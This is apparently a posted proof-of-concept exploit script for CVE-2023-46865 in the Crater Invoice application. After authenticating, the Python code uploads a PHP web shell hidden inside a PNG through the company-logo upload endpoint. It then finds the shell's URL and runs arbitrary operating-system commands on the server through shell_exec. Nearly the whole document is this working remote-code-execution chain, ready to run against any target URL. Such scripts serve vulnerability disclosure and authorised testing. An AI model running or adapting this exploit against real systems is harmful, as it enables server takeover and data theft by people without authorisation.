4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / crater-rce.py PY
#!/usr/bin/python3

"""
By: @asylumdx | @faisalfs10x
GitHub: https://github.com/asylumdx
        https://github.com/faisalfs10x
Reference: https://nvd.nist.gov/vuln/detail/CVE-2023-46865
""" 

import requests
import argparse
import json
import urllib.parse

def auth_login(target, email, password, cmd="id"):

    # Create a session to persist the login session_cookies.
    session = requests.Session()

    # Define the headers for the session.
    session.headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/json;charset=utf-8",
        "Origin": target,
        "Company": "2"
        #"X-XSRF-TOKEN": csrf_cookie_value
    }

    proxies = {
   'http': 'http://127.0.0.1:8080'
    }

    login_url = f"{target}/login" 

    login_data = {
        "email": email,
        "password": password,
        "remember": ""
    }

    req_login = session.post(login_url, json=login_data, headers=session.headers, allow_redirects=False)

    print("\n[X] Attempt to login [X]")
    #print(f"Response Status Code: {req_login.status_code}\n")
    #print(req_login.content.decode('utf-8'))

    if req_login.status_code == 302 and "dashboard" in req_login.text:
        print('[+] Login successfully! [+]')

        print("\n[X] Fetching XSRF-TOKEN [X]")
        req_company_info_url = f"{target}/admin/settings/company-info"
        req_company_info_xsrf = session.get(req_company_info_url, allow_redirects=False)
        #print(f"[+] Response Status Code: {req_company_info_xsrf.status_code} [+]")
        session_cookies = req_company_info_xsrf.cookies

        # 'session_cookies' is the RequestsCookieJar 
        session_cookies_dict = requests.utils.dict_from_cookiejar(session_cookies)
        xsrf_token = urllib.parse.unquote(session_cookies_dict.get('XSRF-TOKEN'))

        if xsrf_token:
            print(f"[+] XSRF-TOKEN found [+]")
            #print(f"[+] XSRF-TOKEN value: {xsrf_token} [+]")
        else:
            print("XSRF-TOKEN cookie not found.")

        upload_url = f"{target}/api/v1/company/upload-logo" 
        filename = "boom.php"
        b64_payload = "iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAIAAAD8GO2jAAAAVklEQVR4nGNcPD89JF9HRVRbMF0oJF9QT1NUWzFdKTs/PljAc143k/yPi9t+X9N9qif38ePJv1/vBnyyMFiXHMwwCkbBKBgFo2AUjIJRMApGwSgYfgAAI0oXArodV7QAAAAASUVORK5CYII="
        # b64_payload is a base64 encoded PNG image data generated by https://github.com/huntergregal/PNG-IDAT-Payload-Generator/blob/master/generate.py 

        body = ('''------WebKitFormBoundaryBrjvmcLj2KCzQnvy
Content-Disposition: form-data; name="company_logo"

{"name":"''' + filename + '''","data":"data:image/png;base64,''' + b64_payload + '''"}
------WebKitFormBoundaryBrjvmcLj2KCzQnvy
Content-Disposition: form-data; name="is_company_logo_removed"

true
------WebKitFormBoundaryBrjvmcLj2KCzQnvy--''')

        session.headers = {
        "User-Agent": "Boomerz-718",
        "company": "1",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryBrjvmcLj2KCzQnvy",
        "Origin": target,
        "Referer": target + "/admin/settings/company-info",
        "X-XSRF-TOKEN": xsrf_token
        }

        print(f"\n[X] Uploading shell: {filename} [X]")
        req_upload = session.post(upload_url, headers=session.headers, data=body, allow_redirects=False)

        if req_upload.status_code == 200 and '{"success":true}' in req_upload.text:
            print('[+] File upload successfully! [+]')
            #print(req_upload.text)

            print("\n[X] Enumerating shell path [X]")
            enumshell = target + "/api/v1/bootstrap"
            req_enumshell = session.get(enumshell)

            #print(f"[+] response enumshell: {req_enumshell} [+]\n")

            if req_enumshell.status_code == 200:
                json_data = req_enumshell.json()  #Parse the response content as JSON
                #print(json_data)
                logo_url = json_data['current_user']['companies'][0]['logo']
                print(f"[+] Webshell: {logo_url} [+]\n")

                shell = logo_url + "?0=shell_exec"
                data = {'1': cmd}

                print(f"[+] Executing command: {cmd} [+]\n")

                shell_response = requests.post(shell, data=data)
                bincontent = shell_response.content

                byte_remove = [
                    b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\x00\x00 \x08\x02\x00\x00\x00\xfc\x18\xed\xa3\x00\x00\x00VIDATx\x9cc\\",
                    b"\nX\xc0s^7\x93\xfc\x8f\x8b\xdb~_\xd3}\xaa'\xf7\xf1\xe3\xc9\xbf_\xef\x06|\xb20X\x97\x1c\xcc0\nF\xc1(\x18\x05\xa3`\x14\x8c\x82Q0\nF\xc1(\x18~\x00\x00#J\x17\x02\xba\x1dW\xb4\x00\x00\x00\x00IEND\xaeB`\x82"
                ]

                for xx in byte_remove:
                    bincontent = bincontent.replace(xx, b'')

                try:
                    # Convert bytes to string
                    output_string = bincontent.decode('utf-8', errors='ignore') 

                    lines = output_string.split('\n')
                    for line in lines:
                        print("    " + line)
                except UnicodeDecodeError as e:
                    print(f"Error: Unable to decode the content. {e}")
            else:
                print(f"[-] Error: HTTP status code {req_enumshell.status_code} [-]")       
        elif req_upload.status_code == 401 and 'Unauthenticated.' in req_upload.text:
            print('[-] Failed, Action Unauthorized!! [-]') 
        else:
            print('[-] File upload failed [-]')       
    else:
        print('[-] Login failed [-]')       

if __name__ == "__main__":

    parser = argparse.ArgumentParser(description='Crater Invoice RCE - CVE-2023-46865')
    parser.add_argument('--target', required=True, help='Target URL')
    parser.add_argument('--email', required=True, help='Email')
    parser.add_argument('--password', required=True, help='Password')
    parser.add_argument('--cmd', required=False, default="id", help='Command to execute')
    args = parser.parse_args()

    auth_login(args.target, args.email, args.password, args.cmd)